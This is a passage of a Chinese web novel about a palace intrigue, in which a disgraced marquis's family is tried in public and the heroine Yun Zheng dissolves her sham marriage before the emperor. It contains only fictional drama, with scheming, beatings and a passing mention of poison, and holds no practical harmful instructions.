立春淡淡的道,“他围攻千珍阁时,皇上就在楼上包厢。” 叶宜蓁倒抽一口冷气,“你说什么?再说一遍。” 立春看着她,像看着一个笑话,她拼命抢来的东西,根本守不住。 “光天化日,众目睽睽之下,无数人见证了那一刻。” “皇上下旨,江家一众人等全部打入天牢,三司会审。” 叶宜蓁脑袋一片空白,眼睛都直了,心乱如麻。 “云筝呢?也打入天牢了?” 如果是这样,她还能好受点。 立春挑了挑眉,她对云筝恨的执着。 “锦云郡主于国有功,特赏赐一座郡主府,许她开府另居。” 还有什么比自己摔进烂泥里,仇人却风光无限更刺激人的? 叶宜蓁当场就大受刺激,一口血喷出来,眼睛翻白,晕了过去。 立春大手一挥,“搜,仔细的搜,每一寸都不能放过。” “是。” 立春亲自带着人仔仔细细的搜了几遍,但一无所获。 “报,翻遍平西侯府每一寸地,都没有搜到那东西。” 立春的视线看向南面,神色复杂,“看来,那东西在平西侯身上,希望立秋那边……好运吧。” 天牢,叶宜蓁被推着跌跌撞撞的往前走,光线昏暗,味道难闻,耳边时不时的响起惨叫声,吓的她双腿发软,走不动路。 狱卒将她推进一间牢房,她不小心摔在地上,发出一声惨叫。 角落里响起一个惊喜的声音,“蓁蓁,是你吗?” 熟悉的声音入耳,叶宜蓁迫不及待的抬起头,“是我,夫君,啊啊啊,鬼啊。” 她吓坏了,拼命朝后退。 江闻舟头发散乱,一道触目惊心的疤痕绽放在白皙的皮肤上,肿胀不堪,像是恶鬼。 他闻言,如被重重打了一巴掌,疼的直哆嗦,“别怕,是我。” 他安抚了半天,叶宜蓁的情绪也有所缓解,不敢直视他的脸,太丑陋了。“你的脸怎么会这样?” 江闻舟痛苦的闭了闭眼,不敢触碰伤口。 “别怕,会好的,一切都会好起来。” 他说的如此笃定,叶宜蓁眼神微闪,“你确定吗?侯府有什么保命的办法?” 江闻舟只说了一句,“皇上不会杀江家人的。” 叶宜蓁眼神忽明忽暗,不知在想些什么。 离京畿地区三日路程的桃花镇,也迎来了一场抓捕。 这几日镇上程府极为热闹,宾客如云。 亲戚朋友来来往往,当地官员都上门拜访,热闹的不得了。 正房,程老夫人笑容满面的看着女婿平西侯被一众人簇拥着,心中别提有多得意了。 “闻云这孩子我越看越喜欢,跟她表哥是天生的一对,我看不如亲上加亲。” 去世的程家老爷子是五品官,家中后辈没有一个在官场混的,自然是巴着侯府不放。 坐在她身边的侯夫人看了一眼不远处玩乐的儿女,微微摇头,“娘,不是我不答应,是侯爷对闻云的婚事早就有了安排。” 程老夫人的笑容僵住了,“能有什么安排?你是不是看不起你娘家?” 侯夫人面有得色,“这怎么可能?我跟您说,您别说出去,闻云这孩子样样出众,深得后宫娘娘的欢心。” 程老夫人立马反应过来,“你是说……咱家要出一个皇子妃?” “嘘。” 程老夫人心中欢喜,若外孙女成了皇子妃,那程家就能沾光。 “听云儿说,你新入门的儿媳妇性情不好,搅的家里鸡犬不宁?你也太心慈手软,该下手时就下手。” 她偷偷塞了一个药瓶过去,“这药你拿去用吧。” “中药的人会缠绵病榻,苟延残喘,生不如死。” 侯夫人嘴角轻轻上扬,“谢母亲。” 就在此时,外面传来一阵喧哗,打断了大家的兴致。 “不好了,明镜司前来抓人了。” 这话一出,全场吓坏了,宾客们纷纷逃窜,侯夫人赶紧将一双儿女护在身后。 平西侯猛的站起来,神色紧张。 一群明镜司冲进来,为首的男人是平西侯熟悉的,一颗心沉了下来,“立秋大人,您这是?” 立秋神色冷漠,“奉皇命,将平西侯府一众人缉拿归案。” “平西侯,束手就擒吧。” 平西侯脸色惨白,强作镇定,“本侯犯了什么罪?” 立秋冷笑一声,“你的好儿子带着家将袭击圣驾,皇上大怒,下令查抄平西侯府,将江家所有人打入天牢。” 他一双眼睛紧紧盯着平西侯,平西侯猛的瞪大眼睛,他听到了什么? 他才离开京城没多久,让他骄傲的儿子就将天捅破了? 他气的浑身哆嗦,声音都在颤抖,“孽子,猪脑子。” 立秋大手一挥,下令道,“搜身,一个个的搜,胆敢反抗者,杀。” 没人敢反抗,都任由明镜司处置,一个个的轮流搜身。 半晌后,手下冲立秋微微摇头,没有。 立秋皱起眉头,府中没有,郊外的农庄也没有,平西侯身上也没有,到底藏在哪里? 平西侯一家被抓捕回京城,当天就三司会审,动作之快让人侧目。 午门外?,刑部、大理寺和都察院的三司会审,吸引了文武百官和百姓们的围观。 这等于是公审。 勋贵们齐齐出现,皇上也亲临现场监督,声势浩大。 万众瞩目之下,大理寺卿作为钦点的主审官,压力非常大。 他大喝一声,“来人,把牢里的一众犯人带上来。” 勋贵们相视一眼,交换了一个眼神,他们已经达成了共识,力保! 一场激烈的交锋即将上演。 第83章 公审,撕逼 当江闻舟和叶宜蓁这对夫妻像被死狗般拖上来,两人浑身恶臭,狼狈不堪。 侯夫人呆呆的看着儿子,差点认不出来,心痛的眼眶红了,“闻舟,你的脸怎么了?你怎么变成这样了?” 江闻舟右脸的伤口很深,骨头都出来了,还流淌着黄色的脓水,让人作呕。 叶宜蓁都不敢靠近,眼中隐隐有嫌弃。 其实,江闻舟在天牢没有受刑,就每日吃馊饭,吃的上吐下泄,拉在自己身上。 伤口也没有处理过,任由感染化脓,高烧不退,几天下来,就跟乞丐似的,全然没有了京城贵公子的模样。 他被折磨的死去活来,好恨啊。 “是云筝,是她毁了我的脸!” 这一切,全拜云筝所赐,她为什么不乖乖奉上家产?为什么不任由他摆布?为什么要抗争? 他在人群里疯狂的寻找云筝的身影,云筝也来了,就站在角落里,九千岁的轮椅旁边。 这个位置最清净,没人敢跟九千岁挤。 她依旧一袭红衣,明眸皓齿,清艳绝伦,美的让人窒息。 叶宜蓁看到了她,自惭形秽,下意识的别开脸。 她这么狼狈的跪在地上,又脏又臭,而云筝高高在上,光鲜亮丽,她感觉被云筝彻底比下去了。 心中嫉妒又怨恨,都怪她! 侯夫人也看到了,怒火熊熊燃烧,“贱人,你这个丧门星,是你害了我们全家,你怎么不去死?” 向来娇贵的大小姐江闻月忍不住扑过去,“云筝,你去死!” 金尊玉贵的母女俩也没有了往日的光鲜,衣服脏乱,头发乱糟糟的。 一名衙役拿起棍子挥过来,“老实点。” 几棍子下去,两人头破血流,立马老实了。 云筝冲他们一笑,笑容灿烂无比,好像在说你们过来呀。 这可把江家人气坏了,却拿她一点办法都没有。 大理寺卿一拍惊堂木,大声喝道,“江闻舟,你于五日前在千珍阁门前围攻圣驾,刺杀皇上,可认罪?” 江闻舟感觉这几日在做噩梦,一点都不真实。 “皇上恕罪,我当时不知道您在千珍阁,不知者不罪。” 皇上面无表情,眼神冷冷的。 大理寺卿继续审问,“就问你,有没有围攻圣驾?” 江闻舟嘴唇直哆嗦,半天说不出一个字。 大理寺卿大声喝道,“回答。” 江闻舟打了个冷战,脱口而出,“有。” 不管他知不知情,围攻圣驾是事实,那么多双眼睛看到了,这一点怎么也洗不了。 平西侯闭了闭眼,无声叹息,百年侯府就要毁在一个女人手里吗? 江闻舟拼命磕头求饶,“皇上,我自知罪孽深重,但这一切的起因是云筝,她不守妇道,水性杨花,我是去千珍阁捉拿她,不知情的情况下才冲撞了圣驾。” 定远将军站了出来,冲皇上行了一礼,“皇上,这是事出有因,是一场误会,还请皇上开恩。” 靖平侯拱了拱手道,“皇上,说到底这是小儿女的爱恨情仇,闹这么大有损大家的体面,不如大事化小,小事化了。” 他们极力抹平此事,力保平西侯府。 他们都是勋贵集团,利益早就绑定,一荣俱荣,一损俱损。 其他人也纷纷出来声援,“皇上,平西侯府世代忠良,绝无反叛之心,这一点我敢担保。” “皇上,我也替平西侯府担保,他们心中有忠义,不可能造反,还请皇上网开一面。” 勋贵们齐齐拱手,“皇上,请开恩啊。” 他们保的是平西侯府吗?不,不仅仅是。 他们保的是自己的未来! 万一将来自家出事,其他人也会齐心协力出手。 再说了,历来,文官集团、勋贵集团和皇权都是暗暗较劲,政治博弈,相互制衡。 不得不说,勋贵们气势十足,皇上的脸色更难看了。 现场一片寂静,忽然,厉无恙清冷的声音响起。 “照你们这么说,皇上出事了也得自认倒霉,谁让勋贵集团一手遮天,力压皇权呢。” 这话一出,所有勋贵都变了脸色。 靖平侯紧张的解释,“九千岁,我们不是这个意思,而是觉得江二公子有点冤。” 定远将军拼命点头,“对对对,本是家务事却不小心闹大了,这算无意之失,不能怪罪他啊。” 厉无恙淡淡瞥了他们一眼,“谷雨,去把定远将军不小心杀了,这是无意之失,勋贵们不会怪你的。会恕你无罪。” 勋贵们:……这是什么鬼话? 谷雨立马抽出长剑,一步步逼向定远将军,浑身散发着杀气。 没人敢阻拦,就这么眼睁睁的看着。 长剑抵在定远将军的脖子上,他额头渗出汗珠,浑身颤栗,“不不不,江闻舟有罪,他罪大恶极,该处极刑。” 这话一出,长剑收了回去,定远将军长长吐出一口气,举手擦拭额头的汗珠。 不是他怂,而是,九千岁真的会下手,他死了也是白死。 厉无恙冷眼扫视全场,气场之强让人心生畏惧,“谁还想试试?” 勋贵们面面相觑,试试?就逝逝! 这一波操作震住了勋贵们,不敢再出声,平西侯眼神渐渐黯淡。 忽然,叶宜蓁猛的站起来,大声疾呼。 “这一切的罪魁祸首是云筝,所谓夫妻一体,荣辱与共,我恳请皇上,请一并治罪。” 她就是见不得云筝好,凭什么自己被打落烂泥,云筝却能风光无限? 不,不行,要完就一起完,别想脱身。 这话提醒了江闻舟,立马大声喊道,“皇上,我不敢为自己辩解,只求让云筝一并治罪。” 平西侯轻轻叹气,“皇上,我儿做出这样的事情,我要负一部分责任,错在当初眼瞎选错了儿媳妇,如今,尝到了恶果。” 江闻云也拼命落井下石,“云筝也是江家人,是我们的嫂嫂,她凭什么能置身事外?” 江闻月用力点头。“对,云筝必须跟我们江家同生死,共患难。” 侯夫人眼中闪过一丝恶毒,“云筝是我平西侯府三媒六聘迎娶进门的儿媳妇,查抄问罪,她无法置身事外,请一并治罪。” 要么一起治罪,要么一起免罪。 好家伙,全家齐力协力想将云筝拖下水。 全场的目光齐刷刷的看向那个红衣女子。 大家以为会看到一个惊惶失措的女子,却没想到云筝气定神闲,微微一笑。 仿若一切都在她掌控中。 一波令所有人铭记一生的骚操作即将上演…… 第84章 疯狂撕逼打脸(上) 上面的人都知道平西侯府的破事,但,百姓们不知道啊,好奇的打听,这是什么情况? 这是平西侯的儿媳妇?怎么像生死仇人? 云筝的视线扫过所有江家人,眉眼微挑,带出一丝凌厉,“一群唯利是图,自私凉薄, 寡廉鲜耻的小人,我耻于跟你们为伍。“ 侯夫人大声怒吼,“云氏,你身为人妇,整天抛头露面,水性杨花,让江家蒙羞,害的我儿一时冲动……” 云筝冷冷的打断道,“不是一时冲动,是蓄意已久,明知我是奉皇上之命,主持拍卖会事宜,却故意带家将围攻,居心叵测。” “这一场拍卖会是无数官吏辛苦多日筹备的,花费大量的人力物力,关系到国库的充盈,关系到边关将士的福祉,也关系到百姓下半年的营生,而江闻舟,你为了一已私利,蓄意毁掉拍卖会。” 江闻舟只顾着毁掉她,却忘了,拍卖会不是她一个人的,是明镜司和户部无数人的心血,也是皇上寄予厚望的聚宝盆。 他把自己放在了这些人的对立面,引起了公愤,也惹怒了皇上。 云筝义正言辞的怒斥,“你身为侯府公子,受天下百姓供养,却没有国家大义,目无君王,不顾百姓的死活,你不忠,不仁,不义,罔顾皇恩。” 她将江闻舟狠狠踩在脚底下,也让自己站在道德的制高点。 江闻舟脸色忽青忽白,这就是明镜司让他吃馊饭的真正原因? “云筝,你别转移话题 。” 云筝冷笑一声,“到底是谁在转移话题?” 靖平侯满眼的不喜,她太张扬了,恃才傲物,害的平西侯府落到这种田地。 “皇上,云氏是江家人,没道理江家全家都获罪,她能逃脱罪行。” 另一名勋贵站出来说道,“要治罪,那就一起,那才公平。” 云筝分钱时,分了宗室,却没有分给勋贵,早就得罪了他们。 皇上神色淡淡的扫视众人,将他们的小心思都看在眼里。 身为勋贵,锦衣玉食,却不思报答皇恩,只知道结党营私,还不如一个女子忠心呢。 “锦云郡主于国有功,朕特赦她无罪。” 御史站了出来,“皇上,锦云郡主立了大功,应该施恩于她的夫家,而不是她个人。” 这角度刁钻,但,也是常规操作,女子立功,不会直接赏赐她,而是推恩于她的父兄和夫家。 靖平侯立马跟上,“陈大人说的对,她生是江家人,死是江家的鬼,她立了功就等于江家立了功,可以借此特赦江家。” 皇上神色莫名,看向云筝,“锦云郡主,你怎么说?” 云筝深恨江家人,怎么可能让他们沾半点光。 她冷静而又淡漠,“其一,根据礼法,拜了天地和高堂,才算是夫妻。平西侯府骗婚,成亲当日,是下人抱着公鸡和我家丫环拜的堂,” “而我,至今为止没有跟任何人拜堂成亲。” 她当时就留了几道后手,只等着有朝一日脱身。 现场一片哗然,啥?没听错吧? 厉无恙挑了挑眉,有些意外,她早就设了伏笔啊。 江闻舟怒气冲冲的喝道,“你胡搅蛮缠,满嘴谎言……” “闭嘴。”云筝不耐烦的打断他的话,视线扫过人群,直接点名,“我记得当时有很多人见证那一场兼祧两房的婚礼,礼部侍郎秦大人,您在场,请说句话吧。” 秦大人对那一场炸裂的婚礼记忆犹新,也对云筝的印象深刻。 聪明绝顶,倔强骄傲,有仇必报。 他被点了名,迟疑了一下,“是,当时是两家的下人抱着公鸡和母鸡拜的堂。” 他不想被卷进来,不想得罪勋贵集团,想明哲保身,但,君王面前撒谎是大罪。 更何况,当时九千岁也在场,怎么帮着掩盖? 百姓们目瞪口呆,抱公鸡拜堂是冲喜新娘才有的待遇,但前提是,男方已经病的起不了床。 两家下人代主子成亲,真的是闻所未闻,荒唐可笑。 云筝又点了一个人,“户部侍郎纪大人,您也在场,请您做个证。” 纪大人是户部的,因拍卖会的事有所接触,也分到了不少钱。 “当时,江二公子先是跟长嫂叶宜蓁拜堂成亲,轮到郡主时,江二公子死活不肯拜堂,主动提出,让小厮抱着公鸡跟锦云郡主拜堂成亲。” “这一建议被郡主严词拒绝,并当场提出解除婚约,江家死活不肯,后来迫不得已让丫环抱着母鸡拜堂的。” 他语气平和说出当时的场景,但已经有了偏向。 这话一出,现场一片嗡嗡作响声,指指点点,骂的很难听。 “他人好好的,就在现场,却让小厮抱着公鸡拜堂,分明是恶心人。” “跟长嫂拜堂乐意的很,轮到郡主时不愿意了,你品,你细品。” “这对狗男女早就有一腿了吧,但为了银子忍辱负重求娶郡主,却在成亲当日,故意折辱人家,这人怎么这么坏?” “狗男人,仗势欺人,既要又要,恶心。” “结亲是结两姓之好,他这是骗婚啊。” “岂止是骗婚,是杀人夺产,锦云郡主太可怜了,遇到这么狼心狗肺的东西。” “去抓人分明是蓄意的,还故意败坏人家的名声,他分明想谋财害命,还想留一个美名。” 江家人的脸色发白,又惊又怒。 厉无恙深深的看着云筝,先是立善良完美的受害人形象,又借别人的口说出江家的恶行,勾起百姓们对江家和渣男的厌恶,舆论倒向了她。 每一步,她拿捏的恰到好处。 江闻舟已经破罐子破摔,豁出去了,“那又如何?公鸡母鸡代表了我们两人,成亲已成事实。” 他咬死了这一点,死咬着云筝不放。 云筝想要脱身,那就必须把他们江家捞出来,为他脱罪。 云筝早有准备,“照你这么说,随便找两人抱着公鸡母鸡拜堂就是成亲了,那行,我成全你们。” 江家人有种不好的预感。 云筝扬声道,“来人,把公鸡母鸡抱上来。” 一个小厮抱着公鸡,一个丫环抱着母鸡上来了,两人都穿着喜庆的红衣。 大家好奇不已,这是要干什么? 很快,云筝就亲自解开谜团…… 第85章 疯狂撕逼打脸(中) 云筝手指着丫环说道,“你代表平西侯夫人。” 她又指着小厮,“你代表街上那个独眼乞丐,来,拜堂成亲吧。” 全场:……!!! 云筝亲自主持,扬声喊道,“一拜天地。” 两个下人齐刷刷的拜天地,侯夫人看到这一幕,彻底破防了。 “住手,不许乱来。” 云筝听而不闻,继续喊道,“二拜高堂。” 两人对着江家人一拜。 江闻舟的情绪彻底失控了,“够了,云筝,你不要发疯了。” 云筝的声音更响亮,“夫妻对拜。” 两人抱着公鸡母鸡对拜,像模像样,一本正经的,仪式感十足。 “礼成。”云筝笑了,这就是她的反击。 敢算计她?那就让平西侯府成为天下人的笑话。 这一幕太炸裂,震住了现场所有人。 妈呀,还能这么玩?这一波操作太骚了。 就算见多识广的厉无恙嘴角也抽了抽,强忍着笑意。 皇上目瞪口呆,这丫头是个疯子啊。 侯夫人满面通红,气疯了,“云筝,你这个疯子,谁允许你这么做的?我不认。” 云筝笑眯眯的挥手致意,“侯夫人,啊,乞丐娘子,你好啊。” 要论恶心人的手段,谁都比不上云筝。 侯夫人一口气差点没上来,大口大口喘气。 云筝又冲平西侯拱了拱手,“侯爷,恭喜你,又多了一个兄弟,你放心,你永远是大房,是正室,没人能威胁你的地位。” 妻妾是姐妹相称,男人嘛,兄弟相称,没有毛病。 平西侯被恶心的够呛,脸色发青,气的浑身发抖,眼睛充血。 从此,他们平西侯成了一个大笑话,茶余饭后的谈资,过多少年都不会忘记的谈资。 没人愿意跟他们沾上关系,丢不起这个脸。 勋贵们齐齐沉默了,还要继续力保吗? 不知是谁没忍住,笑喷了,“哈哈哈。” 有了第一个,就有第二个,现场一片欢笑声。 “好好笑,锦云郡主好可爱。” “锦云郡主是个逻辑怪才。” “她说的没错啊,哪家好人是抱着公鸡母鸡成亲的?哪个正常人会承认这桩婚事?反正,我不认。” “这婚事一开始就是平西侯府仗势欺人,不做数的。” 百姓们对云筝很有好感,还很同情她。 只能说,云筝提前预判了一切,用一点手段轻轻松松就将舆论翻转过来,把自己的委屈,平西侯府的丑陋嘴脸都曝光在公众面前。 她凭一己之力,将平西侯府牢牢钉死在耻辱架上。 江闻舟不甘心失败,恶狠狠的瞪着云筝,大声吼道,“我们两家有婚书为证,有婚书就是夫妻,你就别想独善其身。” 云筝全然不惧,语气清冷克制,条理清楚。 “其二,根据礼法,成亲后要去祠堂祭拜祖先,在祖谱上写上新妇的名字,才算是真正的侯门媳妇。” “而我,没有拜过江家的祖先,江家的祖谱上没有我的名字,所以,我怎么能算江家的媳妇呢?” 她专门留的漏洞,就为了这一天。 平西侯猛的抬头,草蛇灰线,伏延千里,从她成亲的那日就埋下了线,只等着这一日的爆发。 心思之缜密,让人心惊。 江闻舟闻声色变,不敢置信的看着她,“云筝,你从一开始就准备好了后路,你是故意不去祠堂祭拜祖先。” 这样的手段,这样的心机,实在太可怕了。 可惜,他们反应过来已经晚了,云筝已经提前布局完成,只等着挥剑。 “你们平西侯府多傲气啊,江闻舟,你说,浑身铜臭的商贾之女也配上侯府族谱?” 她手指着侯夫人,眉眼清冷,“而你,说,我不过是你平西侯府百年富贵的垫脚石!” 这是前世江闻舟母子对她的羞辱,而今生,他们也是这么想的。 “我都记着呢,一笔一笔,都记下来了。” 侯夫人遍体发寒,她怎么知道的这么清楚?难道,自己身边有她的人? “我……只是在考验你,只要通过了,你就能上祖谱。” 江闻舟恼羞成怒,“你怎么这么小气记仇?一点都没有容人之量,你应该好好表现,让我们江家上下认可你。” 这话一出,就被百姓们大声怒骂,无耻,不要脸。 他们对勋贵的滤镜碎了一地,看似高贵的勋贵,原来是这么龌龊卑鄙的人。 不少官员摇头叹息,平西侯府贪图云家的万贯家财,能理解,但,娶了却百般折辱,连祖谱都不给上,这分明是一开始就打着杀人夺财的主意。 太卑劣了,坏到骨子里,也难怪云筝要奋起反抗。 本来对云筝桀骜不驯的行为颇有微词的百官都沉默了,立场有所偏移。 不反抗,就得死,那就送对手全家去死,好像也没有毛病。 皇上微微蹙眉,内心有所动摇,平西侯府这么不做人,这桩婚约只算完成了一半,和离是不行,但,解除婚约……也不是不行。 厉无恙淡淡瞥了皇上一眼,不动声色的弹了弹手指,一名侍卫悄无声息的退了下去。 云筝深吸一口气,神色肃穆至极。 “其三,我至今是清白之身,跟江闻舟没有夫妻之实,我不承认是他的妻子,他也不是我的夫君。” 在场的人面面相觑,成亲也有一段时间了,还没有圆房? 云筝抽出一把匕首,高高举起,“请在场所有人为我做个见证。” “古有割袍断义,今有断发明志。” “从今日起,我跟江闻舟一刀两断,不再有任何瓜葛,天涯陌路,后会无期。” 刀起刀落,一把断发飘落在地。 果断绝决如斯,把在场的人都震住了。 江闻舟的脸色难看到了极点,这等于当众打他的脸,形同于宣告休夫。 好狠。 平西侯的心情复杂到了极点,他的眼光很好,挑了这么一个儿媳,但又眼瞎,居然没有发现她这么厉害。 心狠手辣,有心计,有手段,太适合当侯府的主母了。 可惜,从一开始就错了。 一道怒吼声从人群里响起,“皇上, 江家无情无义,江二公子狼心狗肺, 您就作主判他们和离,还郡主自由吧。” 另一个百姓也喊道,“皇上,郡主太可怜了,不该为一个恶毒的男人葬送一生的幸福,请让他们解除婚约吧。” “皇上,请您开恩,解决婚约吧。” 无数百姓齐齐喊了起来,山呼海啸。 听,这是民间的呼声,这是民意! 第86章 疯狂撕逼打脸(下) 云筝呆了呆,这不是她的安排啊。 厉无恙不动声色的瞥了她一眼,嘴角轻轻上扬。 她想和离,那就成全她! 皇上沉默了,动摇了,解除婚约是有前例的,又不是和离,是吧。 民意如此,不如就顺着台阶往下走? 一名御史站了出来,义正言辞的反驳,“皇上,此事不可行,夫家落难,女子立马脱身而去,这个口子绝对不能开,否则人人效仿,将永无宁日。” 他故意往大方向靠,用道德绑架。 户部侍郎眉头一皱,“你这是模糊焦点,锦云郡主这事是特例,是江家骗婚,既没有拜堂,又没有上祖谱,她割发明志,跟江家公开决裂,为什么不能解除婚约?” 这御史跟云筝有过节,又受勋贵的授意,死咬着云筝不放。 “什么解除婚约?分明是和离,我记得当年黎家析产案时,皇上曾经说过,本朝不能和离,只能丧偶。” 这话一出,气氛立马变了,皇上微微皱眉。 黎家析产案?那是什么事情?怎么从来没听说过?云筝的好奇心被勾了起来。 谷雨忽然插了一句,“你的意思是,让江闻舟去死?” 江闻舟猛的抬头。 御史吓了一大跳,“我不是这个意思,你别胡乱栽赃,锦云郡主签下婚书的那一刻起,就是江家人。” 谷雨忽然走到他身边,压低声音,“李御史,你还想分钱吗?” 李御史呆了呆,艰难的说道,“我……不是为五斗米折腰的人……” 明镜司的人忽然扬声说道,“锦云郡主,多谢您,昨日我刚在京城买上一座小院子,虽然小,位置偏,但,靠我的俸禄,这辈子都买不起。” “嘻嘻,我也买了,奋斗了二十年,最终多亏郡主的成全,多谢。” “我也买了,我老娘高兴坏了。” 那到底是多少钱?众人心痒难耐,好想知道! 李御史眼珠乱转,心动不已,谁都知道锦云郡主有点石成金的能力,她的手里随便漏点出来,就够他们吃的。 真的,要跟钱过不去吗? 谷雨看向其他人,“谁还有异议?” 靖平侯跟平西侯交情莫逆,也是亲戚,利益相关,“我有,我觉得这事……” “咳。”厉无恙清咳一声,淡漠的视线扫过来,冷冷的道,“靖平侯,你养在草帽巷的女人是犯官之后,好大的胆子。” 一句话让靖平侯脸色大变,成功闭嘴。 其他勋贵面面相觑,还继续狙击云筝吗? 你看看我,我看看你,就是没人敢站出来。 再继续,就是跟九千岁为敌了,谁敢呀? 他可是明镜司的首领,手中捏着他们大把的黑料,分分钟钟能弄死他们。 算了,为一个平西侯府把自己搭上,不值得。 平西侯面如死灰,江闻舟心焦如焚,难受的想撞墙,就这么让云筝全身而退了?他不甘心! 比他更不甘心的,是叶宜蓁,嫉妒如毒蛇般啃咬着她的内心,五脏俱焚。 皇上环视四周,“既然如此,那就特恩准……” 他的话还没说完,叶宜蓁猛的打断道,“皇上,云筝若是能和离,我也要和离,您可不能区别对待。” 江家人不敢置信的看着她,她也想跑?忘恩负义的贱人! 江闻舟惊怒攻心,又气又急,“蓁蓁。” 他对她呵护备至,为了光明正大跟她在一起牺牲良多,她怎么能离他而去? 是因为他不再是平西侯世子?还是因为他毁容了? 他被嫌弃了? 不,不行,她生是他的人,死是他的鬼,这辈子休想摆脱他。 叶宜蓁给了他一个安抚的眼神,暗暗表示,她只是想阻止云筝离开。 江闻舟这才暂时按捺下来,但一颗心依旧惴惴不安。 叶宜蓁大声嚷嚷,“皇上,凡事都要公平公正,才能赢得民心。我也是被骗的,本来说好让我当江二公子的正室,结果,他们为了银子转头求娶云筝。” “一开始,我的婚书上写的也是江二公子的名字,成亲当日,被逼着改成了江大公子的名字,我受尽了委屈啊。” 她也学云筝开始点名,“秦大人,您也在现场,此事属实吗?” 秦大人像吞了一大碗黄连般,嘴里发苦,为什么都找他?他真的不想得罪人。 “属实。” 叶宜蓁又看向户部侍郎,“纪大人,也请您做个证。” 纪大人对她的印象极差,她可不无辜,成亲当日跟江闻舟联手挤兑云筝,还历历在目。 “你就住在侯府,这么大的事情怎么可能不知情?可你,还是选择了配合侯府移花接木,瞒天过海。” 叶宜蓁脸色一沉,“您可有证据?” 纪大人沉默了,这种事情怎么可能有证据? 叶宜蓁眼眶一红,两颗豆大的眼泪滚落下来,“我只是寄住在侯府的孤女,凡事要看侯府的眼色,平时二门不出,就待在自己的小院子里,怎么可能知道这样的大事?” 她楚楚可怜的哀求,“皇上,请也允许我和离。” 平西侯府不行了,她可不想给他们陪葬。 还别说,一部分不明真相的百姓还真相信了她的说辞,觉得她也是受害者。 云筝知道和离一事会遇到来自各方的巨大阻力,老古董们要维护礼法,勋贵们想让她为平西侯府陪葬,但,没想到叶宜蓁也敢跳出来。 好不容易有这么好的机会,她却跳出来搅局,找死! 不得不说,这半路杀出来的搅局者,让皇上为难了。 一个是特例,二个……还是吗? 叶宜蓁嘴角微微上扬,要么,让她一起脱罪,逃出生天,要么,一起倒霉。 云筝刚想出手,厉无恙抢先了一步,“皇上,叶宜蓁不遵皇后懿旨,还伙同江闻舟抢夺锦云郡主的嫁妆。” 叶宜蓁急急开口,“九千岁,你……” 厉无恙大声喝斥,“本王说话,你怎么敢插嘴?掌嘴。” “啪啪。”侍卫立马上前两巴掌,打完还嫌弃的擦了擦手,脏死了。 叶宜蓁的脸肿了,又羞又气。 厉无恙冲皇上拱了拱手,“江闻舟围攻圣驾一事,叶宜蓁是同伙,证据确凿无误。” 叶宜蓁急火攻心,“你胡说,这是诬陷。” 厉无恙双手送上一份供词,“皇上,这就是证据。” 皇上接过来一看,脸色骤变。 第87章 叶宜蓁的身世曝光 别的都是小事,但围攻圣驾犯了皇上的大忌,帝王的猜忌之心绝不会放过相关人等。 厉无恙扬声道,“这是叶氏贴身丫环的供词,上面清楚的记录着,叶宜蓁事先知情,并一起协商围攻方案,还幻想着成功后,去千珍阁和宝翠阁掠夺奇珍异宝,占为己有。” 进了天牢,就算铁人也能撬开嘴。 百姓们炸开了锅,指指点点,“这女人看着柔柔弱弱,没想到这么坏。” “婚前就无媒苟合的女人,能好到哪里去?不外乎是会伪装,我差点被骗过去了。” “千珍阁和宝翠阁都是锦云郡主家的产业,她早就盯上了啊。” “还说不知情?谁信啊,恶毒的坏女人。” 叶宜蓁心中恨极,大声反驳,“皇上,这不是真的,是九千岁偏袒云筝,因为,云筝是他的人。” 她故意说的暧昧不清,引人遐想的空间。 皇上看了厉无恙一眼,很平静,又看了看云筝,更平静,一点反应都没有。 厉无恙冷冷的看着叶宜蓁,像看着一个死人,“胆敢挑衅本王,是谁给你的底气?是夜夜溜进你香闺的黑衣人吗?” 冷不防爆出一个猛料,叶宜蓁脸色大变,惊恐万分,他怎么会知道黑衣人?“你……你胡说。” 江闻舟脸色不好看,但他相信蓁蓁的为人,她那么爱他,不可能背叛他。 厉无恙神色淡漠如雪,“你应该照照镜子,看看自己的脸色。” 云筝立马助攻,夸张的大叫,“哇,你慌了呀。” 叶宜蓁面色惨白,浑身发抖,“不是的,皇上……” 皇上很不耐烦的喝道,“不思悔改,罚你……” 一道女声猛的响起,“皇上,手下留情。” 几个侍卫护着一个气质高贵的妇人走过来,妇人神色焦急。 皇上呆了呆,上前迎了几步,“二皇姐,您怎么来了?” 他的态度颇为尊重,语气亲近。 云筝默默站回厉无恙身边,悄声问道,“这是谁?” 厉无恙眼神莫名,语气淡薄至极,“皇上的二姐永安公主,昔日为了稳住边境局势,下嫁给镇南王,八年后,镇南王忽然暴毙,无子除国。” 镇南王叶家,世代镇守黔南,没有直系子孙后,就再无镇南王府。 “朝廷派官员接手黔南地区后,迎永安公主还朝,加封为长公主。” 短短两句话,却将一段波澜壮阔的历史一笔带过去。 云筝眼珠滴溜溜的转,想到了很多。 “永安长公主对大齐有贡献,难怪皇上对她颇为尊重。” 厉无恙把玩着轮椅的把手,淡淡的开口。 “她跟皇上一起长大, 从小对皇上很是照顾,两人感情颇深。” “当年南诏国跟大齐黔南边境发生摩擦,镇守黔南的叶家态度暧昧,先皇打算在诸公主中挑选一个人嫁过去,当时,公主们都不愿远嫁边疆,局势又那么乱。” “最后是永安公主站了出来,愿意嫁往黔南,唯一的要求是,让当时的四皇子,也就是当今陛下上朝参与政事。” 云筝扬了扬眉,这是从龙之功,永安长公主颇有手段啊。 “就是说,为皇上夺嫡立下了汗马功劳。” 厉无恙微微颔首。 云筝迟疑了一下,“镇南王……因何暴毙?” 厉无恙深深的看了她一眼,意味不明。 云筝抿了抿嘴,懂了。 宫廷的尔虞我诈,权力的厮杀无比残酷,她还是别卷进去了。 她笑嘻嘻的换了个话题,“您好像对她没有什么感情?” 厉无恙揉了揉眉心,她还是太年轻了,皇室哪有什么亲情? “她出嫁时,我刚出生,她回朝后在京郊津山建了一个女观,常年住在观中,不过问世事,但过年过节会露面,皇上也给予她最大的体面。” 云筝默了默,“是个聪明人。” 既避开了皇上的猜忌,又不受拘束,体面也有了,只要不造反,一辈子的尊荣不会少。 两人说话之间,永安长公主已经跟皇上寒暄完,迅速步入正题。 “皇上,我此来是有要紧事。” 皇上关心的问道,“何事?” 永安长公主的视线在平西侯府诸人脸上划过,随后定格在叶宜蓁脸上,看了很久,不知在寻找着什么。 “你是叶宜蓁?” 叶宜蓁一脸的忐忑不安,“是,见过长公主。” 永安长公主弯腰,一把扶起她,“你是不是有一块金锁片,上面刻着穗穗平安?” 叶宜蓁取下脖子的金锁片,“是这块吗?” 